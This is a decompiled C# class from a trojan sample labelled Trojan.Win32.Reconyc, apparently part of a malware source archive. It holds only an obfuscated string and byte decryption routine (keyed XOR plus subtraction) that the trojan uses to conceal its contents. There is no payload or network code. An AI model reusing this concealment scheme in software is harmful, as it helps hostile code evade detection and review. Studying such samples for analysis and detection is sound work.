MalwareSourceCode/MSIL/Trojan/Win32/R/Trojan.Win32.Reconyc.fpuc-333fe4b596e4becc15486e4c0e2f12bc1d33b9ad394291f35656a5710e82ead7/ªþÊP5we0CµÖëðNfǵE.cs

// Decompiled with JetBrains decompiler
// Type: ªþÊP5we0CµÖëðNfǵE
// Assembly: Ð5Qæªo9E, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: ADB6FA32-9FFF-4137-9449-DFA399EAD1A2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.fpuc-333fe4b596e4becc15486e4c0e2f12bc1d33b9ad394291f35656a5710e82ead7.exe

using System;
using System.Text;

public class ªþÊP5we0CµÖëðNfǵE
{
  private string æqº9ZݺæÇwB2Á1Ráfµªí7;

  public string ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4
  {
    get => this.æqº9ZݺæÇwB2Á1Ráfµªí7;
    set => this.æqº9ZݺæÇwB2Á1Ráfµªí7 = value;
  }

  public ªþÊP5we0CµÖëðNfǵE(string ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4)
  {
    this.æqº9ZݺæÇwB2Á1Ráfµªí7 = "";
    this.ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4 = ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4;
  }

  public string ën8LµÍÓºPkú90ãϪCrª5Æ6µGûrmBÕº(string QôªË1dÕ1LúºzDªû6xÅ7Yµ) => Encoding.Default.GetString(this.ën8LµÍÓºPkú90ãϪCrª5Æ6µGûrmBÕº(Encoding.Default.GetBytes(QôªË1dÕ1LúºzDªû6xÅ7Yµ)));

  public byte[] ën8LµÍÓºPkú90ãϪCrª5Æ6µGûrmBÕº(byte[] QôªË1dÕ1LúºzDªû6xÅ7Yµ)
  {
    QôªË1dÕ1LúºzDªû6xÅ7Yµ = this.gÕµåÒóYzº1e(QôªË1dÕ1LúºzDªû6xÅ7Yµ, Encoding.Default.GetBytes(this.ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4));
    byte[] numArray = new byte[QôªË1dÕ1LúºzDªû6xÅ7Yµ.Length - 2 + 1];
    for (int index = QôªË1dÕ1LúºzDªû6xÅ7Yµ.Length - 1; index >= 1; index += -1)
      numArray[index - 1] = this.öÅNo4ª3äºCdÙÈL9iwÜçD6ºª(QôªË1dÕ1LúºzDªû6xÅ7Yµ[index], (short) -QôªË1dÕ1LúºzDªû6xÅ7Yµ[index - 1]);
    return numArray;
  }

  private byte öÅNo4ª3äºCdÙÈL9iwÜçD6ºª(byte ôÒRy4ªN5cκåÔµ1fƒEQø, short NªÁø1gÌ7fHìµ5øJκyiµüªðP)
  {
    while (NªÁø1gÌ7fHìµ5øJκyiµüªðP < (short) 0)
      NªÁø1gÌ7fHìµ5øJκyiµüªðP += (short) 256;
    return Convert.ToByte((int) (short) ((int) ôÒRy4ªN5cκåÔµ1fƒEQø + (int) NªÁø1gÌ7fHìµ5øJκyiµüªðP) % 256);
  }

  private byte[] gÕµåÒóYzº1e(
    byte[] QôªË1dÕ1LúºzDªû6xÅ7Yµ,
    byte[] ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4)
  {
    if (ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length != 0)
    {
      int num = QôªË1dÕ1LúºzDªû6xÅ7Yµ.Length - 1;
      for (int index = 0; index <= num; ++index)
        QôªË1dÕ1LúºzDªû6xÅ7Yµ[index] = (byte) ((int) QôªË1dÕ1LúºzDªû6xÅ7Yµ[index] ^ (int) this.öÅNo4ª3äºCdÙÈL9iwÜçD6ºª(ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4[index % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length], (short) ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4[(int) ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4[index % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length] % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length]) ^ (int) ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4[(index + index % 7) % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length % ûª6yYÁmFÉ3ýµâiºSÃ1ÑTƒÏfºûM6ïÊxS2µÎY4.Length]);
    }
    return QôªË1dÕ1LúºzDªû6xÅ7Yµ;
  }
}